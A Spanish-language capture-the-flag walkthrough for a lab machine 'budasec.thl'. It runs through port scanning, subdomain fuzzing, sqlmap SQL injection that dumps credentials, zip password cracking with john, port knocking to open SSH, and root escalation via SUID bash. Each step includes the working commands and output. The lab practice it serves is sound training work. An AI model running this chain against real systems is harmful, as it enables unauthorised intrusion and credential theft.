RECONOCIMIENTO — Escaneo de puertos
Se lanza un escaneo completo de puertos para mapear toda la superficie de ataque antes de pasar al análisis de servicios.
escaneo completo
nmap -p- -T5 <IP> -oG allPorts
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-10 13:08 +0200
Nmap scan report for 10.10.10.25
Host is up (0.0011s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
MAC Address: 08:00:27:A8:08:5C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 57.42 seconds
Se identifican dos servicios: FTP y HTTP. Se lanza un escaneo de versiones para obtener más detalle.
escaneo de versiones
nmap -p21,80 -sSCV -T5 -n -Pn -vvv <IP> -oN scan.txt
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.5
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:A8:08:5C (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
| PUERTO |
ESTADO |
SERVICIO |
VERSIÓN |
| 21/tcp | OPEN | ftp | vsftpd 3.0.5 |
| 80/tcp | OPEN | http | Apache 2.4.52 (Ubuntu) |
FTP sin login anónimo
El FTP no acepta conexiones anónimas. La página de inicio de Apache no tiene contenido relevante en el código fuente. Hay que enumerar directorios y subdominios.
ENUMERACIÓN WEB — Virtual hosts y subdominios
La web sirve la página por defecto de Apache. Se lanza gobuster para encontrar recursos ocultos.
enumeración de directorios
gobuster dir -u http://10.10.10.25/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,txt,html,js
index.html (Status: 200) [Size: 10671]
robots.txt (Status: 200) [Size: 33]
El robots.txt revela el dominio budasec.thl. Se añade al /etc/hosts y se accede a la web.
Virtual hosting activo
La web de
budasec.thl muestra una página "Coming Soon" sin contenido explotable. La enumeración de directorios tampoco da resultados — hay que buscar subdominios.
fuzzing de subdominios
ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://budasec.thl/' -H "Host: FUZZ.budasec.thl" --fs=10671
dev [Status: 200, Size: 264, Words: 47, Lines: 12, Duration: 55ms]
Se añade dev.budasec.thl al /etc/hosts y se accede al subdominio.
Panel de login descubierto
El subdominio
dev.budasec.thl expone un formulario de login con campos
username y
password. Vector de ataque: SQL Injection.
EXPLOTACIÓN — SQL Injection en el login
Se captura la petición POST del formulario con Burpsuite y se guarda en req.txt.
petición capturada (req.txt)
POST / HTTP/1.1
Host: dev.budasec.thl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://dev.budasec.thl
Referer: http://dev.budasec.thl/
username=admin&password=admin
enumeración de bases de datos
sqlmap -r req.txt --batch --dbs
available databases [5]:
[*] buda
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
tablas de la base de datos buda
sqlmap -r req.txt --batch -D buda --tables
Database: buda
[1 table]
+-------+
| users |
+-------+
volcado de la tabla users
sqlmap -r req.txt --batch -D buda -T users --dump
| ID |
USERNAME |
PASSWORD |
HASHED_PASSWORD |
| 1 | ftpuser | ftpu@sr123p@@s! | $2y$10$... |
| 4 | admin | admin123 | $2y$10$... |
| 5 | user1 | password1 | $2y$10$... |
| 6 | user2 | password2 | $2y$10$... |
Credenciales FTP en texto claro
La tabla
users contiene credenciales en texto claro. El usuario
ftpuser con contraseña
ftpu@sr123p@@s! permite acceder al servicio FTP que estaba cerrado a conexiones anónimas.
FTP — Descarga y análisis de ficheros
Se accede al FTP con las credenciales obtenidas y se descargan todos los ficheros disponibles.
acceso FTP y descarga
.rw-rw-r-- kali kali 499 B Thu Jun 6 15:25:09 2024 decrypt.py
.rw-rw-r-- kali kali 1.8 KB Thu Jun 6 15:37:24 2024 documents.zip
.rw-rw-r-- kali kali 15 B Thu Jun 6 15:18:18 2024 knock
.rw-rw-r-- kali kali 2 B Thu Jun 6 15:23:03 2024 README.md
El fichero documents.zip está protegido con contraseña. Se usa john para romperla.
extracción del hash del zip
zip2john documents.zip > hash
fuerza bruta con rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt hash
manuelito (documents.zip/audit2024)
Session completed.
extracción del zip
unzip -P manuelito documents.zip
El fichero audit2024 es un documento financiero extenso. Entre su contenido se encuentran credenciales filtradas y el contenido del fichero knock con tres puertos.
Credenciales filtradas en documento de auditoría
El fichero
audit2024 contiene:
yolanda:y@lAnd361!. El fichero
knock contiene tres puertos:
9467,
1739,
8745. Posible port knocking para abrir SSH.
contenido del fichero knock
9467
1739
8745
PORT KNOCKING — Apertura del puerto SSH
El puerto 22 no está visible. Se intenta port knocking con los puertos del fichero en el orden original, sin éxito. Hay que probar todas las permutaciones posibles.
intento con el orden original (sin resultado)
knock <IP> 9467 1739 8745
combinación que abre el puerto 22
knock 10.10.10.25 8745 9467 1739 && nmap -p- --min-rate=5000 10.10.10.25
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:A8:08:5C (Oracle VirtualBox virtual NIC)
¿Qué es el port knocking?
El port knocking es un mecanismo de seguridad que mantiene puertos cerrados hasta que se recibe una secuencia específica de conexiones a puertos concretos. El servidor monitoriza los intentos de conexión y, al detectar la secuencia correcta, abre dinámicamente el puerto objetivo via
iptables. Aquí la secuencia correcta es
8745 → 9467 → 1739.
ACCESO INICIAL — Shell como yolanda
Con el puerto 22 abierto, se accede por SSH con las credenciales extraídas del documento de auditoría.
acceso SSH
USER FLAG
cat ~/user.txt
ESCALADA A ROOT — SUID en /usr/bin/bash
Se buscan binarios con el bit SUID activado para encontrar vectores de escalada de privilegios.
búsqueda de binarios SUID
find / -perm -4000 -ls 2>/dev/null
131626 72 -rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn
141019 48 -rwsr-xr-x 1 root root 47488 Apr 9 2024 /usr/bin/mount
147460 36 -rwsr-xr-x 1 root root 35200 Apr 9 2024 /usr/bin/umount
131704 56 -rwsr-xr-x 1 root root 55680 Apr 9 2024 /usr/bin/su
131957 32 -rwsr-xr-x 1 root root 30872 Feb 26 2022 /usr/bin/pkexec
131756 72 -rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd
155467 1364 -rwsr-xr-x 1 root root 1396520 Mar 14 2024 /usr/bin/bash
131935 60 -rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd
SUID en /usr/bin/bash
/usr/bin/bash tiene el bit SUID activado con propietario
root. Esto permite ejecutar bash manteniendo el UID efectivo del propietario del binario, es decir, root. El flag
-p le indica a bash que no descarte los privilegios elevados al iniciarse.
escalada a root con bash -p
/usr/bin/bash -p
bash-5.1# whoami
root
bash-5.1# cd /root && cat root.txt
¿Por qué funciona?
Cuando un binario tiene el bit SUID activo, el sistema lo ejecuta con el UID efectivo del propietario del fichero en lugar del usuario que lo lanza. Al ser
bash el propietario
root, la shell arranca con
euid=0. El flag
-p (privileged mode) es necesario porque bash moderno descarta por seguridad el UID efectivo si difiere del UID real, a menos que se indique explícitamente con
-p.
ROOT FLAG
cat /root/root.txt
CADENA DE ATAQUE
01
Enumeración web — Virtual hosting
Gobuster encuentra robots.txt que revela el dominio budasec.thl → ffuf descubre el subdominio dev.budasec.thl con un panel de login
02
SQLi — Volcado de credenciales
sqlmap sobre la petición capturada con Burpsuite → BD buda → tabla users → credenciales FTP: ftpuser:ftpu@sr123p@@s!
03
FTP — Ficheros críticos
zip2john + john rompe documents.zip con contraseña manuelito → credenciales yolanda:y@lAnd361! + secuencia de port knocking 8745 9467 1739
04
Port knocking — Puerto 22 abierto
La combinación correcta 8745 → 9467 → 1739 abre el puerto SSH → acceso como yolanda → user.txt
⚡
SUID bash → Root
find / -perm -4000 revela /usr/bin/bash con SUID → /usr/bin/bash -p → shell como root → root.txt